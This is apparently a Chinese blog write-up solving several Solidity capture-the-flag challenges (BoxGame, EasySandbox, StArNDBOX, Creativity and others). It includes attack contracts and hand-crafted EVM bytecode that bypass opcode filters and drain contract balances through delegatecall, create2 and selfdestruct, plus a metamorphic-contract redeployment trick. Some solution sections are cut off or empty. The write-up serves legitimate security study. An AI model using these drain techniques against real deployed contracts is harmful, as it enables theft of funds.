EasyAssembly
1. question
源码
1 | pragma solidity ^0.5.10; |
触发
emit SendFlag(msg.sender);
2. analysis
这题卡在了不会算
CS
纵观代码,可知触发
emit SendFlag(msg.sender);
的有gift,payforflag
函数,但是由之前的经验可知msg.value
永远不可能大于address(this).balance
,只有payforflag
有希望。分析
payforflag
,只要通过了 onlyWin 修饰器,就可以成功调用。分析onlyWin,需要
WinChecksum[msg.sender] != 0
,这需要在 pass函数中才能实现,继续往下看
1
2
3
4
5
6
7
8
9
10
11
12
13
14 bytes32 tmp = keccak256(abi.encodePacked(code));
address target;
/*
牛的:这一顿操作,其实就是取 tem的后20bytes
*/
assembly {
let t1,t2,t3
t1 := and(tmp, 0xffffffffffffffff)
t2 := and(shr(0x40,tmp), 0xffffffffffffffff)
t3 := and(shr(0x80,tmp), 0xffffffff)
target := xor(mul(xor(mul(t3, 0x10000000000000000), t2), 0x10000000000000000), t1)
}
require(address(target)==msg.sender);
_;分析可知,汇编的作用就是,截取tem的后20bytes,也就是一个地址的长度。
那么如何实现,address(target)==msg.sender),其实很简单,只要知道create2的工作原理就很简单,其实
address = address(uint1600(uint(keccak256(abi.encodePacked(0xFF,address(deployer),salt,keccak256(abi.encodePacked(bytecode)))))))
,简单说来就是:*keccak256(0xff||deployer||salt||keccak256(bytecode))*,所以传入的形参code,我们可以自己将其拼接好。分析pass函数,其中的汇编如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 /*
如下汇编可以理解为:
将32bytes的tem,8个bytes的块;s7,s6,s5,s4,s3,s2,s1,s0
v1 = (s0 + s1 + 0xffffffff) && 0xffffffff
v2 = ((s3 ^ s4) + s5) && 0xffffffff
将 v1 拼接到 v2 后面, 再和 cs 做比较
*/
assembly {
let v1,v2
v := sload(add(tmp, idx)) // 需要找到一个slot的值不为0的
if gt(v, sload(0)){
v1 := and(add(and(v,0xffffffff), and(shr(0x20,v), 0xffffffff)), 0xffffffff)
v2 := and(add(xor(and(shr(0x40,v), 0xffffffff), and(shr(0x60,v), 0xffffffff)), and(shr(0x80,v),0xffffffff)), 0xffffffff)
if eq(xor(mul(v2,0x100000000), v1), cs){
flag := 1
}
}
}汇编中的
v
可以令其add(tem,idx)
的值等于slot_ownerslot
即可,这个应该不难算,idx=slot_ownerslot-tem即可。这里xor(mul(v2,0x100000000), v1)
的值是被固定了的,即对keccak256(abi.encodePacked(uint(1)))进行一系列操作得到的,所以能让他们俩相等的唯一办法就是控制cs的值。分析tag函数,这个函数就很恐怖了。。。。
我暂时不会,这里是大佬的博客: link
3. solve
1 | // It is difficult for me.... |
BoxGame
1. question
源码
1 | pragma solidity ^0.5.10; |
我是真不知道大佬是怎么看出来,这不是真正的合约,真正部署到脸上的合约是,构造器返回的a,我直接亚麻呆住了,如下是 RealContract:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41 pragma solidity ^0.5.10;
contract BoxGame {
event ForFlag(address addr);
address public target;
function payforflag(address payable _addr) public {
require(_addr != address(0));
uint256 size;
bytes memory code;
assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}
for(uint256 i = 0; i < code.length; i++) {
require(code[i] != 0xf0); // CREATE
require(code[i] != 0xf1); // CALL
require(code[i] != 0xf2); // CALLCODE
require(code[i] != 0xf4); // DELEGATECALL
require(code[i] != 0xfa); // STATICCALL
require(code[i] != 0xff); // SELFDESTRUCT
}
_addr.delegatecall(abi.encodeWithSignature(""));
selfdestruct(_addr);
}
function sendFlag() public payable {
require(msg.value >= 1000000000 ether);
emit ForFlag(msg.sender);
}
}我直呼 666,这题的目的是触发 ForFlag事件。
2. analysis
这题要求我们,在传入的
_addr
的runtimeCode中,不出现0xf0 0xf1 0xf2 0xf4 0xfa 0xff
,这就需要构建 bytecode了。delegatecall可以利用其特性,在addr中触发 ForFlag,实际上触发的是
BoxGame
中ForFlag。而且,通过对内联汇编
log1
的学习,其实在攻击合约中可以不定义 event(同文件下其他合约中定义了即可,详情请看:这里),尽量简化攻击合约,尽可能将攻击合约的bytecode最小化。
_addr.delegatecall(abi.encodeWithSignature(""))
,很明显需要在hacker合约中编写回调函数,在内联汇编中,log1(offset, size, topic)
其中topic
是事件的hash,本题是,keccak256(abi.encodePacked("ForFlag(address)"))
,可以简单通过 cast 指令算出,如下
按理来说,攻击函数可以写成,如下
1
2
3
4
5
6
7
8
9
10
11
12
13 contract BoxGameHacker {
function() external {
address owner = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
bytes32 eventHash = keccak256(abi.encodePacked("ForFlag(address)"));
assembly {
mstore(0x80, owner)
log1(0x80, 0x20, eventHash)
}
}
}其实不用试也知道,这个hacker合约中的runtimecode不行,因为,在
keccak256(abi.encodePacked("ForFlag(address)"))
中已经出现了,f0
和f1(其实这不是f1,而是0f,1f不过不管了,问题不大)
,所以可将这个值拆分为如下:
1
2
3
4
5
6
7 bytes32 eventHash = 0x89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e2;
uint v = 0x100000000000000000000000000000000001000000000000000000;
assembly {
mstore(0x80, owner)
log1(0x80, 0x20, add(eventHash, v))
}
0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2=0x89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e2+0x100000000000000000000000000000000001000000000000000000
这样就避免了f0和f1。此时的bytecode为
1 0x6080604052348015600f57600080fd5b5060b780601d6000396000f3fe6080604052348015600f57600080fd5b50600073ab8483f64d9c6d1ecf9b849ae677dd3315835cb2905060007f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e260001b905060007a10000000000000000000000000000000000100000000000000000090508260805280820160206080a150505000fea265627a7a72315820048f42c13217b95d2c73187effa267c0fc8d0018eae54833b5fc94fe028682ec64736f6c63430005110032runtimecode为
1 0x6080604052348015600f57600080fd5b50600073ab8483f64d9c6d1ecf9b849ae677dd3315835cb2905060007f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e260001b905060007a10000000000000000000000000000000000100000000000000000090508260805280820160206080a150505000fea265627a7a72315820048f42c13217b95d2c73187effa267c0fc8d0018eae54833b5fc94fe028682ec64736f6c63430005110032metadata为
1 0xfea265627a7a72315820048f42c13217b95d2c73187effa267c0fc8d0018eae54833b5fc94fe028682ec64736f6c63430005110032但是,bytecode中还是有
f4,fa,ff
,但是这三个恰好在metadata部分,使用create2创建合约的时候,将bytecode中的metadata部分删掉,其实不会影响合约的创建,metadata学习。先计算该bytecode中的runtimecode的长度,计算结果为
0x82
故直接修改部署字节码,将
return
的长度修改为0x82
,去除最后的部分即可最后的bytecode为
1 0x6080604052348015600f57600080fd5b50608280601d6000396000f3fe6080604052348015600f57600080fd5b50600073ab8483f64d9c6d1ecf9b849ae677dd3315835cb2905060007f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e260001b905060007a10000000000000000000000000000000000100000000000000000090508260805280820160206080a150505000fea265627a7a72315820048f42c13217b95d2c73187effa267c0fc8d0018eae54833b5fc94fe028682ec64736f6c63430005110032runtimecode为(因为长度由原来的
0xb7
变成了0x82
)
1 0x6080604052348015600f57600080fd5b50600073ab8483f64d9c6d1ecf9b849ae677dd3315835cb2905060007f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e260001b905060007a10000000000000000000000000000000000100000000000000000090508260805280820160206080a150505000而在BoxGame合约中,extcodecopy获取到的code为,如上runtimecode即不包括(
0xf0 0xf1 0xf2 0xf4 0xfa 0xff
),使用上面的bytecode部署攻击合约后,将其地址作为参数,调用题目合约的payforflag
函数,即可触发ForFlag
事件。
3. solve
攻击合约
1 | // create bytecode |
成功触发ForFlag
EasySandbox
1. question
源码
1 | pragma solidity ^0.5.10; |
将合约中的钱盗取。
2. analysis
前置知识:在delegatecall中,logic合约的数据不会改变,改变的是proxy合约中的数据,address(this).banlance同样如此,所以本题可以通过
(success, _) = _addr.delegatecall("");
这条语句,将EasySandbox
合约的钱掏空。分析
easy_sandbox
函数,前两个断言不需要不需要动脑经,看到第三个断言,需要将msg.sender加入到sons[owner][i]
中,这里可以通过writes[]
数组进行覆盖,初始化的时候该数组长度被设置为type(uint).max
,given_gift()
函数为覆盖提供可行性。所以要计算出,sons[owner]所对应动态数组长度的所在索引,以及,
sons[owner][1]
所在的索引。计算思路如下:
1
2
3
4
5
6
7 # cal index of sons[owner].length
slot_length = keccak256(owner,1)
idx_length = slot_length - keccak256(0)
# cal index of sons[owner][0]
slot_Arr_0 = keccak256(keccak256(owner,1))
idx_Arr_0 = slot_Arr_0 - keccak256(0)看到,如下代码
1
2
3
4
5
6
7 assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}很熟悉,意思就是将_addr的runtimecode拷贝下来,将其赋值给code,接下来循环语句和上一题很类似,即不能出现
0xf0 0xf1 0xf2 0xf4 0xfa 0xff
,这很可能需要编辑bytecode,然后通过create2创建合约。往下分析最后的三个断言,可得到的想法为
1
2
3
4
5
6
7 /*
1. hacker合约的逻辑处理需要在回调函数中完成;
2. 确保合约成功调用;
3. 修改writes.length,该值位于slot0, sstore(0,0)就ok了;
4. 修改sons[owner]对应动态数组的长度为1,sstore(keccak256(owner||1),1)
5. 耗尽address(this).banlance --> create2
*/按要求可得到攻击合约如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 contract EasySandboxHelper {
function() external {
assembly {
// set writes.length == 0
sstore(0, 0)
// set sons[owner].length = 1
let idx_sons_owner_length := 0x9d4d959825f0680278e64197773b2a50cd78b2b2cb00711ddbeebf0bf93cd8a4
sstore(idx_sons_owner_length, 1)
// set sons[owner][0] == tx.origin
let idx_sons_owner_0 := 0x94b29c01ed483e694a7ecf386d384987d4d3e9d4e6c476f5b97302b23ff871c9 //ff is 32 f8
sstore(idx_sons_owner_0, origin())
// exhaust address(this).balance
mstore(0x200, shl(239, shl(1, add(0x32FE,0x1))))
let hacker := create2(selfbalance(), 0x200, 2, 0)
}
}
}我是在复现,所以题中部署的
owner
是0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
,对其进行keccak256(owner,1)
计算时,出现了F0
,所以要对其进行相加
1
2
3 let idx_sons_owner_length := 0x9d4d959825e0680278e64197773b2a50cd78b2b2cb00711ddbeebf0bf93cd8a4
let tem := 0x100000000000000000000000000000000000000000000000000000
sstore(add(idx_sons_owner_length, tem), 1)前面几个修改值还是很容易实现的,有趣的是,如何将合约的钱掏空,我最开始想到的是使用call,但是好奇不巧,call的序号为
F1
,随后看到大佬的题解,采用了create2,同时还将合约的钱转回了自己的账户,我直接看呆了,后面仔细分析,最后借鉴了这波操作。
1
2
3 // exhaust address(this).balance
mstore(0x200, shl(239, shl(1, add(0x32FE,0x1))))
let hacker := create2(selfbalance(), 0x200, 2, 0)📌细品
使用
0x32FF
这两个字节作为bytcode创建合约,其含义为selfdestruct(tx.origin)
,我第一次见还可以这样创建合约的,直接自毁,又由于FF
被禁止使用,所以采用了add(0x32FE,0x1)
,随后将0x32FF
移动到32bytes的高16位。
1
2
3
4
5 /*
左移240位的原因:
对于一段bytecode,EVM的读取方式为从左到右,即从高位到低位, mstore(offset, value) 存储方式为低位存储,高位留空,且存储的大小为32bytes即256位,0x32FF占了4*4=16(bit),所以需要左移 32bytes(256bit) - 16bit = 240(0XF0)bit
*/最后,如果在metadata部分出现了被限制的字节,可以像BoxGame那样,修改return的字节长度。将最终的bytecode通过create2创建出来即可用来完成pwn。
3. solve
攻击合约
1 | /* realize fallback */ |
StArNDBOX
1. question
源码
1 | pragma solidity ^0.5.11; |
📌 目标:将合约的钱掏空
2. analysis
和上一题类似,也是要通过
delegatecall
将合约的余额掏空,但是要求_addr
的runtimecode的字节全是质数,而质数的限制太多了,可以构造runtime字节码,和BoxGame
有点类似,在constructor
中返回即可。而runtimecode被部署到链上,是可以被调用的逻辑,只要将runtimecode的设置为将本合约的balance全部转走即可。最有用的两个opcode就是push2(0x61)以及call(0xf1)
1
2
3
4
5
6
7
8
9 /*
call(g, a, v, in, insize, out, outsize)
// g是可用的gas数量,a是要调用的合约地址,v是要发送的以太币数量,in是要发送的调用数据,
// insize是调用数据的长度,out是一个指向输出缓冲区的指针,outsize是输出缓冲区的大小
// 入栈的顺序为: outsize -> out -> insize -> in -> v -> a -> g -> call
// msg.sender(0x33), tx.origin(0x32) is not prime
// set value => outsize=0, out=0, insize=0, in=0, v=0x47(SELFBALANCE()), a=address(0), gas=FBFB
// push1(0x60) is not prime, push2(0x61) is prime
*/将上述操作换做opcde为
1
2
3
4
5
6
7
8 // PUSH2 0000 610000 // outsize
// PUSH2 0000 610000 // out
// PUSH2 0000 610000 // insize
// PUSH2 0000 610000 // in
// selfbalance() 47 47 // value
// PUSH2 0000 610000 // address
// PUSH2 FBFB 61FBFB// gas
// CALL F1 F1 // opcoderuntimecode为:
1 0x6100006100006100006100004761000061FBFBF1
3. solve
攻击合约
1 | contract StArNDBOXHacker { |
AcoraidaMonica
1. question
源码
1 | ``` |
2. analysis
3. solve
Creativity
1. question
源码
1 | pragma solidity ^0.5.10; |
触发SendFlag事件
2. analysis
这题有点类似:EKO的 phoenixtto,原理是相同的合约地址,具有不同的逻辑功能。
哎,离谱得很。
分析:要触发
SendFlag
事件,显然需要通过execute
函数,该函数通过delegatecall
调用target
。而target
需要通过check
设置,限制了合约代码长度不超过4个字节。但是4个字节显然不能实现触发事件的功能,这里是看大佬的题解 这里使用create2的一个小技巧,可以让不同的字节码部署到同一个地址。可以先部署一个只具有自毁功能的合约,即只具备四个字节(0x32FF)selfdestrct(tx.origin)
这样一来就可以通过check
将参数赋值给target
,返回通过低级调用,让该合约自毁(保证create2正常执行),最后通过create2在同一个地址创建触发SendFlag事件的合约,在执行execute
函数即可。实现同一地址,具有不同功能的代码(借鉴大佬的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 contract Deployer {
bytes public deployBytecode;
// code is Logic contract's bytecode
function deploy(bytes memory code) public returns(address addr) {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = type().creationCode;
assembly {
addr := create2(callvalue(), add(0x20, dumperBytecode), mload(dumperBytecode), 0x1030)
}
}
}
contract Dumper {
constructor() {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}注意:_addr都是通过Deployer合约创建的,而且调用deploy函数的两次传参分别是具有自毁功能的
这里我发现了一个很奇怪的东西,为什么把两步create2操作和空调用放在同一个函数中不行(call(“”)会失败,即无法将合约回调),至今还没搞懂,只有将他们分开才可以hack成功。错误代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 function pwn() external {
// 1. deploy selfdestruct contract
bytes memory destructCode = hex"32FF"; // selfdestruct(tx.origin)
address destruct_addr = deployer.deploy(destructCode);
// 2. set target = destuct_addr
creativity.check(destruct_addr);
// 3. destruct the contract
destruct_addr.call("");
// 4. deploy sendflag contract
deployer.deploy(type(CreativitySendFlag).runtimeCode);
// 5. emit the SendFlag
creativity.execute();
}将他们三拆开才能成功。
3. solve
攻击合约 ==> 攻击逻辑:部署Hacker合约,依次执行pwn1(),pwn2(),pwn3()
1 | // selfdestruct(tx.origin) |
总结
BoxGame
知道了汇编
log1
的用法,以及加深了对bytecode的认知,metadata的有无不影响合约的部署。EasySandbox
在这题中,我知道了delegatecall的另一个特点,逻辑合约的转账操作,在代理合约中通过delegatecall调用,实际上操作的是代理合约中的余额,如下所示:
首先,在部署proxy时,已经给proxy转了1ether
结果显示,执行完delegatecall函数之后,proxy中的钱被转走了。
1
2
3 // exhaust address(this).balance
mstore(0x200, shl(239, shl(1, add(0x32FE,0x1))))
let hacker := create2(selfbalance(), 0x200, 2, 0)使用
0x32FF
这两个字节作为bytcode创建合约,其含义为selfdestruct(tx.origin)
,我第一次见还可以这样创建合约的,直接自毁,又由于FF
被禁止使用,所以采用了add(0x32FE,0x1)
,随后将0x32FF
移动到32bytes的高16位。
1
2
3
4
5 /*
左移240位的原因:
对于一段bytecode,EVM的读取方式为从左到右,即从高位到低位, mstore(offset, value) 存储方式为低位存储,高位留空,且存储的大小为32bytes即256位,0x32FF占了4*4=16(bit),所以需要左移 32bytes(256bit) - 16bit = 240(0XF0)bit
*/StArNDBOX
runtimecode可以通过constructor来控制,即在构造器中使用内联汇编返回指定的runtimecode,即使合约中还有其他的函数,按理来说那些函数的功能应该是被编码在runtimecode中,如果构造器中return,则真正的runtimecode为return的值。
如下是有无构造器时的bytcode:
由结果可知,猜想正确,格局打开🤑。
Creativity
学会了如何实现同一个地址部署不同的runtimecode,真的感觉很神奇!
在传bytes类型的数据时,
1
2
3 bytes memory code = "0x32FF"; // 这样是错误的,读取的结果非 0x32FF
// 应该这样写
bytes memory code = hex"32FF";
参考链接
很有意思的拓展学习
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.4.24;
contract HoneyPot {
bytes internal constant ID = hex"60203414600857005B60008080803031335AF100";
constructor () public payable {
bytes memory contract_identifier = ID;
assembly { return(add(0x20, contract_identifier), mload(contract_identifier)) }
}
function withdraw() public payable {
require(msg.value >= 1 ether);
msg.sender.transfer(address(this).balance);
}
}
contract HoneyPotHacker {
HoneyPot pot;
constructor(address _pot) public {
pot = HoneyPot(_pot);
}
function pwn() external payable {
require(msg.value == 0x20);
pot.withdraw.value(msg.value)();
}
function balanceOf(address target) external view returns(uint) {
return target.balance;
}
function() external payable{}
}